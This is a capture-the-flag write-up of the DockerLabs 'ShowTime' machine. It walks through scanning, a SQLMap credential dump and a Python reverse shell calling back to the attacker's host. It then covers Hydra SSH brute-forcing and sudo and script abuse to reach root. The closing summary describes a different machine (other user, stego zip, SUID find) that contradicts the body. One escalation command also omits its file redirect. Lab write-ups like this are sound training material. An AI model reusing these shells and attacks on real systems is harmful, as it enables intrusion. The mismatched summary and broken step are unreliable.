> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/showtime.md).

# ShowTime

## 1 - Reconnaissance

We begin with a fast Nmap scan to identify open ports:

`nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5`

**Result: ports 22 and 80 are open**

## 2 - Enumeration

Now we run a service/version detection scan, targeting only the open ports we found on the previous scan:

`nmap 172.17.0.2 -p 22,80 -sS -Pn -sCV`

<figure><img src="/files/gpONqWsZj0mlZUQjWbgB" alt=""><figcaption><p>(ShowTime) Targeted Port Scan</p></figcaption></figure>

We tried to find exploits or shellcodes using `searchsploit` but there wasn't any. Our next step will be directory enumeration. Using our tool `ffuf-dir`:

```
ffuf-dir () {
  ffuf -u $1 -w /usr/share/wordlists/dirb/big.txt ${@: 2} -e .html,.php,.txt
}
```

we did `ffuf-dir http://172.17.0.2/FUZZ` and we found the following routes:

<figure><img src="/files/rynZmXI8KKe0UrTuBxKJ" alt=""><figcaption><p>(ShowTime) FFUF Routes</p></figcaption></figure>

We didn't find anything interesting on those routes, so browsing index.html we found a login tab under /login\_page/index.php.

## 3 - Exploitation

We ran SQLMap on the login tab, and we got 3 valid users:

```
sqlmap -u http://172.17.0.2/login_page/index.php --forms --dbs --batch --dump
```

<figure><img src="/files/z3oLUbQbrjOySVLgLsic" alt=""><figcaption><p>(ShowTime) Database Content</p></figcaption></figure>

We try to login as the 3 users, and logging in as `joe` will show a field to input Python code and execute it. Including a Python reverse shell and setting up a listener with `nc -lvnp 3110` will grant us a shell as `www-data`.

```
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",3110));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
```

<figure><img src="/files/w9i32NsZ9ob9ZbURYvr1" alt=""><figcaption><p>(ShowTime) Python Code Execution</p></figcaption></figure>

We will upgrade the reverse shell to a fully interactive shell using Python. First we will run `which python python2 python3` to know the version that the server is running. After it, we see that the server is running python3, so we execute this command:

```
python3 -c 'import pty;pty.spawn("/bin/bash")';
```

Now we will send temporarily our shell to the background with `CTRL+Z` and we will run:

`stty raw -echo;stty size;fg`

That way we will be able to send control characters through the reverse shell without killing it. Also, we will know the size of our terminal in rows and columns. For example, mine is 46 rows and 207 columns. After that, we will run `fg` to return to the reverse shell, and we will run this:

`export SHELL=kitty stty rows 46 columns 207 export TERM=xterm-256color`

Now, we have a fully interactive tty that won't get killed if we run `CTRL+C`, and will be as functional as our local one.

## 4 - Privilege Escalation

We tried to run `sudo -l` but we don't know `www-data` password, and there wasn't any binary with set SUID. Trying to find any relevant .txt we used:

```
find / -name "*.txt" 2>/dev/null
```

!\[\[(ShowTime) Hidden Text.png]]

!\[\[(ShowTime) Hidden Text Content.png]]

Listing the directories on `/home` we found 2 users, joe and luciano, so we will try this wordlist on them with Hydra. For saving time, we will lowercase this wordlist and append it, so it has both variations.

```
hydra -L showtimeUsers -P showtimePasswords ssh://172.17.0.2 -V -F -u
```

!\[\[(ShowTime) Joe Credentials.png]]

Running `sudo -l` we can see that `joe` has sudo permissions as `luciano` on `/bin/posh`. Simply doing `sudo -u luciano /usr/bin/posh` will spawn a `luciano` shell.+

After running `sudo -l` again, we see that user `luciano` has sudo permissions as `root` on `/bin/bash /home/luciano/script.sh`, but we don't have write permissions on it.

As it's on our home, we can just remove that script and create a new one under the same name:

```
mv script.sh script2.sh
touch script.sh
echo "#!/bin/bash" >> script.sh
echo "chmod u+s /bin/bash"
```

That way, after running `/bin/bash -p`, we will spawn a root shell:

!\[\[(ShowTime) Root Shell.png]]

## 5 - Summary

**Initial Access**: Directory enumeration revealed `/auth.php` and `/page.php`. SQLMap confirmed a SQL injection vulnerability but didn't yield valid credentials. Further exploration of `/directoriotravieso/miramebien.jpg` led to discovering a steganographically hidden file `ocultito.zip`. Cracking the ZIP revealed SSH credentials for `carlos:carlitos`.

**Exploitation**: Logged into the target via SSH as `carlos` using the discovered credentials. A successful Python reverse shell was executed using a field to input Python code, followed by upgrading the shell to an interactive one with Python 3.

**Privilege Escalation**: The `/usr/bin/find` command had the SUID bit set. Using a GTFOBins one-liner, a root shell was spawned.